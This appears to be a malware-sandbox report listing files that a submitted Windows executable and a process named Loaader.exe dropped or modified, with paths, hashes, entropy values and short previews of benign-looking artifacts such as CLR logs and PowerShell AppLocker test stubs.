Preview:	MSCF....i.......,...................I.................oXAy .authroot.stl.Ez..Q6..CK..<Tk...p.k..1...3...[..%Y.f..."K.6)..[I.hOB."..rK.RQ..}f..f...}....9.\|.....gA...30.,O2L...0..%.U...U.t.....`dqM2.x..t...<(uad.c...x5V.x..t..agd.v......i...KD..q(. ...JJ......#..'=. ...3.x...}...+T.K..!.'.`w .!.x.r.......YafhG..O.3....'P[..'.D../....n..t....R<..=\E7L0?{..T.f...ID...,...r....3z..O/.b.Iwx.. .o...a\.s........."..'.......<;s.[...l...6.)ll..B.P.....k.... k0.".t!/.,........{...P8....B..0(.. .Q.....d...q,\.$.n.Q.\.p...R..:.hr./..8.S<a.s...+#3....D..h1.a.0....{.9.....:e.......n.~G.{.M.1..OU.....B.Q..y_>.P{...}i.=.a..QQT.U..\|!.pyCD@.....l..70..w..)...W^.`l...%Y.\................i..=hYV.O8W@P.=.r.=..1m..1....)\.p..\|.c.3..t..[...).....l.{.Y....\S.....y....[.mCt....Js;...H....Q..F.....g.O...[..A.=...F[..z....k...mo.lW{`....O...T.g.Y.Uh.;m.'.N..f..}4..9i..t4p_bI..`.....Ie..l.P.... ...Lg......[....5g...~D.s.h'>n.m.c.7...-..P.gG...i$...v.m.b[.yO.P/*.YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.1414940076987787
Encrypted:	false
SSDEEP:	6:kKAlDN+SkQlPlEGYRMY9z+4KlDA3RUeVlWI/Vt:YlMkPlE99SNxAhUeVLVt
MD5:	2819A7F59011AD203C3E499627089629
SHA1:	8139D42D94FE02F9AE3C82F41DEFCFE17D0FF169
SHA-256:	76BD926E6BD80BDA0542782798789DA00CB64EA5075B57E550113163DEF6BB84
SHA-512:	7E6211F0327829E415FD21C219FAC989F42BEC023DF6EAC919B2D3566D1063AAF43CC46F890E63A9F12E5F124B8365B2F8CB7CE4479B4BBB71BF0222E77789FB
Malicious:	false
Preview:	p...... ........!4K.....(....................................................... ........M.........(...........i...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".b.3.6.8.5.3.8.5.a.4.7.f.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Loaader.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.357964438493834
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khav:ML9E4KQwKDE4KGKZI6Khk
MD5:	D8F8A79B5C09FCB6F44E8CFFF11BF7CA
SHA1:	669AFE705130C81BFEFECD7CC216E6E10E72CB81
SHA-256:	91B010B5C9F022F3449F161425F757B276021F63B024E8D8ED05476509A6D406
SHA-512:	C95CB5FC32843F555EFA7CCA5758B115ACFA365A6EEB3333633A61CA50A90FEFAB9B554C3776FFFEA860FEF4BF47A6103AFECF3654C780287158E2DBB8137767
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\t3h7DNer1Q.exe.log

Download File

Process:	C:\Users\user\Desktop\t3h7DNer1Q.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.357964438493834
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khav:ML9E4KQwKDE4KGKZI6Khk
MD5:	D8F8A79B5C09FCB6F44E8CFFF11BF7CA
SHA1:	669AFE705130C81BFEFECD7CC216E6E10E72CB81
SHA-256:	91B010B5C9F022F3449F161425F757B276021F63B024E8D8ED05476509A6D406
SHA-512:	C95CB5FC32843F555EFA7CCA5758B115ACFA365A6EEB3333633A61CA50A90FEFAB9B554C3776FFFEA860FEF4BF47A6103AFECF3654C780287158E2DBB8137767
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0nchzeek.xnu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_111zets1.je3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1atj5jgo.d51.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1r0msigs.0gu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1xp001ca.rny.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2h4aklwp.ckk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2i2puzsr.uag.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ird1xkb.xe3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_34fggqam.hzu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3xev1vye.ups.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3zhqq1fv.czi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_44bvco52.2hp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_522xqzaa.mbf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5fy44gqs.1iq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_astfs2ss.ex0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avdocbeh.01j.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_azqbdxhf.wse.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_beec34vg.4bl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_brtlef32.kgx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bx4zter1.mgc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c2yiqmdl.cf4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ckya54fj.b3r.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cnl5qz1r.cyw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dn2gvyir.wfg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f1ctj2p5.yef.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gsxxngul.tvd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h2aq0eud.k3x.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hkjztpho.wrj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
